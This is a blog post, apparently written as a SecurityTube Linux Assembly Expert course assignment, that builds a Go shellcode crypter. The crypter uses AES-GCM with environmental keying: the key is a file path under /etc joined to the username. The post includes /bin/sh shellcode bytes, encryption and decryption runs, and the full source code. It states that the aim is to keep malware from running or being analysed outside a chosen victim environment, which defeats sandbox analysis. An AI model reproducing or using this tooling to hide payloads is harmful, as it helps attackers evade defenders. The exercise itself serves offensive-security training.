SLAE 7: Creating your own crypter using golang
Programming / January 27, 2020 • 4 min read
Tags: slae shellcoding
In this article, we will build a simple crypter for encrypting and decrypting shellcode. I chose to implement the crypter in Go using environmental keys.
I will not spend time implementing a fancy shellcode execution method in this article, only encryption and decryption methods are in scope for now.
Encryption
The encryption/decryption process is using AES GCM and a specific file in /etc/
concatenated with the current user logged in as the key. This is called Environmental Keying, meaning you use specific values found in the victim’s environment such as files, hostname or users. The purpose of this is to make sure that your malware only executes in a specific environment. This means the attacker needs to know some details about the environment before encrypting any shellcode.
Analysing the shellcode will be difficult because the correct environment values are needed in order to successfully decrypt the shellcode. Relying on dynamic analysis in a sandbox is futile because of this reason.
The specific values that I have chosen for the key is the file path /etc/vmware-tools/scripts/vmware/network
and current logged in user. The final key will look like this: /etc/vmware-tools/scripts/vmware/networkdubs3c
.
The following example encrypts a simple shellcode that executes /bin/sh
:
dubs3c@slae:~/SLAE/EXAM/github/assignment_7$ go run main.go -e -s "\xfc\xbb\x1b\x91\xcd\xc8\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x2a\x43\x9f\xa0\x22\x4c\x53\x59\xd2\xbd\xbc\xfb\x4b\x4b\x21\xca\x42\x7a\x66\x9d\x5f\xb0\xe6\xde\x5f\x4a\xe7\xde"
[+] Your encrypted shellcode: 5af9fb00a2147e12ba73c2686b1b25fac3f441ffcb6974b00ec7413208dc749dae128faf67a5db80fe868dc2386e30546409503beb9ea6973441dc0ace3b35563550e3041fdde2c234b7dbd36ce74f1653ac08ec3be1f6fac3dd6fc34b378477bf6a5acf7800d01ee1c9280d8f6e2ccb8b13f517e790cc6d6623df9b1ced1dc1ebd8df2caca412f6f9d8233bd233fd6c590b12211f0706fc18dca864e97908df4eb638c8b223afc57d59714db119a0075dc935a65a38b4fe175fc15ad2b03125303b98c991ac01238f61c10f444bd85ad081fe2d097f816345e2ab98436cae10033c1cd870502608eac6a3149688b992
dubs3c@slae:~/SLAE/EXAM/github/assignment_7$
Decryption
The decryption function will loop over all files and folders in /etc/
and try each file path as the key together with the current username. When the correct key is found, the shellcode is decrypted.
Decrypting shellcode:
dubs3c@slae:~/SLAE/EXAM/github/assignment_7$ go run main.go -d -s "5af9fb00a2147e12ba73c2686b1b25fac3f441ffcb6974b00ec7413208dc749dae128faf67a5db80fe868dc2386e30546409503beb9ea6973441dc0ace3b35563550e3041fdde2c234b7dbd36ce74f1653ac08ec3be1f6fac3dd6fc34b378477bf6a5acf7800d01ee1c9280d8f6e2ccb8b13f517e790cc6d6623df9b1ced1dc1ebd8df2caca412f6f9d8233bd233fd6c590b12211f0706fc18dca864e97908df4eb638c8b223afc57d59714db119a0075dc935a65a38b4fe175fc15ad2b03125303b98c991ac01238f61c10f444bd85ad081fe2d097f816345e2ab98436cae10033c1cd870502608eac6a3149688b992"
[+] Decrypted shellcode: \xfc\xbb\x1b\x91\xcd\xc8\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x2a\x43\x9f\xa0\x22\x4c\x53\x59\xd2\xbd\xbc\xfb\x4b\x4b\x21\xca\x42\x7a\x66\x9d\x5f\xb0\xe6\xde\x5f\x4a\xe7\xde
dubs3c@slae:~/SLAE/EXAM/github/assignment_7$
Final code
Below is the final program for encrypting/decrypting shellcode.
1package main
2
3import (
4 "crypto/aes"
5 "crypto/cipher"
6 "crypto/rand"
7 "crypto/sha256"
8 "encoding/hex"
9 "flag"
10 "fmt"
11 "io"
12 "os"
13 "os/user"
14 "path/filepath"
15)
16
17type cliOptions struct {
18 encrypt bool
19 decrypt bool
20 shellcode string
21}
22
23func processArgs() cliOptions {
24 opts := cliOptions{}
25 flag.BoolVar(&opts.decrypt, "decrypt", false, "Decrypt your shellcode")
26 flag.BoolVar(&opts.decrypt, "d", false, "Decrypt your shellcode")
27 flag.BoolVar(&opts.encrypt, "encrypt", false, "Encrypt your shellcode")
28 flag.BoolVar(&opts.encrypt, "e", false, "Encrypt your shellcode")
29 flag.StringVar(&opts.shellcode, "shellcode", "", "Your shellcode")
30 flag.StringVar(&opts.shellcode, "s", "", "Your shellcode")
31 flag.Parse()
32
33 return opts
34}
35
36func init() {
37 flag.Usage = func() {
38 h := "\nEncrypt your shellcode! Very nice! Made by @dubs3c.\n\n"
39
40 h += "Usage:\n"
41 h += " cyrptoBoot [shellcode] [options]\n\n"
42
43 h += "Options:\n"
44 h += " -e, --encrypt Encrypt shellcode\n"
45 h += " -d, --decrypt Decrypt shellcode\n"
46 h += " -s, --shellcode Shellcode\n"
47 h += " -v, --version Show version\n"
48
49 h += "\nExamples:\n"
50 h += " cryptoBoot -e -s \"<shellcode>\"\n"
51 h += " cryptoBoot -d -s \"<shellcode>\"\n"
52
53 fmt.Fprintf(os.Stderr, h)
54 }
55}
56
57func encrypt(shellcode string, envKey []byte) (encryptedShellcode []byte, err error) {
58 plaintext := []byte(shellcode)
59
60 block, err := aes.NewCipher(envKey)
61 if err != nil {
62 panic(err.Error())
63 }
64
65 // Never use more than 2^32 random nonces with a given key because of the risk of a repeat.
66 nonce := make([]byte, 12)
67 if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
68 panic(err.Error())
69 }
70
71 aesgcm, err := cipher.NewGCM(block)
72 if err != nil {
73 panic(err.Error())
74 }
75
76 ciphertext := aesgcm.Seal(nil, nonce, plaintext, nil)
77 ciphertextWithNonce := append(nonce, ciphertext...)
78 encodedCiphertext := make([]byte, hex.EncodedLen(len(ciphertextWithNonce)))
79 hex.Encode(encodedCiphertext, ciphertextWithNonce)
80 return encodedCiphertext, nil
81}
82
83func decrypt(ciphertext string, envKey []byte) (plaintext []byte, err error) {
84 ciphertxt, _ := hex.DecodeString(ciphertext[24:])
85 nonce, _ := hex.DecodeString(ciphertext[:24])
86
87 block, err := aes.NewCipher(envKey)
88 if err != nil {
89 return []byte{}, err
90 }
91
92 aesgcm, err := cipher.NewGCM(block)
93 if err != nil {
94 return []byte{}, err
95 }
96
97 plaintxt, err := aesgcm.Open(nil, nonce, ciphertxt, nil)
98 if err != nil {
99 return []byte{}, err
100 }
101
102 return plaintxt, nil
103}
104
105func main() {
106
107 if len(os.Args) <= 1 {
108 flag.Usage()
109 os.Exit(0)
110 }
111
112 opts := processArgs()
113
114 currentUser := &user.User{}
115 currentUser, err := user.Current()
116 envPath := "/etc/vmware-tools/scripts/vmware/network"
117 envKey := sha256.Sum256([]byte(envPath + currentUser.Username))
118
119 if opts.encrypt {
120 if opts.shellcode == "" {
121 fmt.Println("[-] Please specify your shellcode")
122 os.Exit(1)
123 }
124
125 ciphertext, err := encrypt(opts.shellcode, envKey[:])
126 if err != nil {
127 fmt.Println("[-] Something went wrong encrypting your shellcode. Error: ", err)
128 os.Exit(1)
129 }
130
131 fmt.Printf("[+] Your encrypted shellcode: %s\n", ciphertext)
132 return
133 }
134
135 if opts.decrypt {
136
137 if opts.shellcode == "" {
138 fmt.Println("[-] Please specify your encrypted shellcode")
139 os.Exit(1)
140 }
141
142 encryptedShellcode := opts.shellcode
143
144 err = filepath.Walk("/etc/", func(path string, info os.FileInfo, err error) error {
145 envKey := sha256.Sum256([]byte(path + currentUser.Username))
146 plaintext, err := decrypt(encryptedShellcode, envKey[:])
147 if err != nil {
148 // Disregard errors
149 return nil
150 } else {
151 fmt.Printf("[+] Decrypted shellcode: %s\n", plaintext)
152 }
153 return nil
154 })
155
156 if err != nil {
157 fmt.Printf("error walking the path %q: %v\n", "/etc/", err)
158 return
159 }
160 }
161}
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
https://www.pentesteracademy.com/course?id=3
Student ID: SLAE-1490